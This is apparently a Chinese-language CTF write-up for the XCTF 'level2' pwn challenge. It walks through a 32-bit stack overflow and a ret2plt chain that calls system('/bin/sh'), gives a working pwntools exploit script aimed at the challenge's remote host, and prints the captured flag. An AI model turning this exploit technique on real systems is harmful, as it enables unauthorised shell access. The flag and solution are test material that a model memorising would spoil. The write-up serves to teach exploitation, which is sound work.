收获

  • 通过构造 ROP 链,利用 PLT 表找到 system() 函数的地址,执行 system() 函数

  • 给 32 位的 system() 函数构造参数,注意提供函数返回值,保持栈的平衡,需要填充 4 个 垃圾数据

  • 熟悉使用 exp 获取地址的方法,例如函数的地址、字符串的地址等;以及通过 IDA 查看地址的方法通过 exp 获取的地址和 IDA 中直接查看的地址是一样的


【攻防世界】level2


思路

查看文件信息:

攻防世界-level2 1.png

32位 小端序,只开启了栈不可执行

尝试执行文件:

攻防世界-level2 2.png

在 IDA 分析:

攻防世界-level2 3.png

跟进 vulnerable_function()

攻防世界-level2 4.png

通过 read()buf 写入长度为 0x100 的数据,但是栈中 buf 的长度只有 0x88,可以栈溢出
但是没有发现其他执行类似 system("/bin/sh") 命令的函数

查看字符串发现 “/bin/sh“:

攻防世界-level2 5.png

攻防世界-level2 6.png

只要想办法执行这里的 “/bin/sh“ 即可

由于这里给出了 system() 函数,可以利用这个函数执行 system 的命令

攻防世界-level2 7.png

如果将 /bin/sh 作为参数 command 传入 system() 函数,就可以 PWN 掉靶机

所以思路如下:
① 首先需要通过 PLTGOT 表找到 system() 函数的地址;
② 通过栈溢出实现函数跳转,让程序执行 system() 函数;
③ 再找到 /bin/sh 的地址;
④ 利用 system() 函数将 /bin/sh 执行,就可以实现 PWN 操作

查看输入的 buf 在栈中的位置:

攻防世界-level2 8.png

首先填充 b'a' * (0x88 - 0x00 + 0x04) 个字符,然后接上 system() 函数的地址作为返回值,使程序转而执行 system() 函数

至于 system() 函数的地址,可以根据 system_plt_addr = elf.plt["system"] 从 PLT 表中获取
另外,在 IDA 中,直接搜索函数 “system”,可以看到 .plt 段的函数 .system 的地址为 0x08048320

攻防世界-level2 9.png

接下来就是给 system() 函数提供参数 /bin/sh
可以通过 bin_sh_addr = next(elf.search(b"/bin/sh")) 在程序中搜索 /bin/sh 的地址
也可以直接在 IDA 中,看到字符串 /bin/sh 的地址为 0x0804A024

攻防世界-level2 10.png

注意这里需要用 4 个字节作为 system("/bin/sh") 的返回地址,使栈保持平衡


脚本

from pwn import *

context(os = 'linux', arch = 'i386', log_level = 'debug')   # 打印调试信息
content = 0   # 本地Pwn通之后,将content改成0,Pwn远程端口

elf = ELF("./level2")     # 生成对象elf
system_plt_addr = elf.plt["system"]     # 根据plt表获取system的地址,根据ida可知.plt段指向的.system的地址为0x08048320
bin_sh_addr = next(elf.search(b"/bin/sh"))      # 在程序中搜寻/bin/sh的地址,根据ida可知地址为0x0804A024

def main():
    if content == 1:
        io = process("./level2")   # 程序在kali的路径
    else:
        io = remote("61.147.171.105", 56085)   # 题目的远程端口,注意是remote
    
    payload = b'a' * (0x88 - 0x00 + 0x04) + p32(system_plt_addr)    # 跳转到system函数的地址,system_plt_addr直接写0x08048320也可以
    payload = payload + b'aaaa' + p32(bin_sh_addr)  # 填入4个垃圾字符作为返回地址,保持栈平衡,bin_sh_addr直接填0x0804A024也可以

    io.recvuntil("Input:\n")
    io.sendline(payload)

    io.interactive()

main()

结果

cyberpeace{437e920e2e285d2484407590036a7d62}

攻防世界-level2 11.png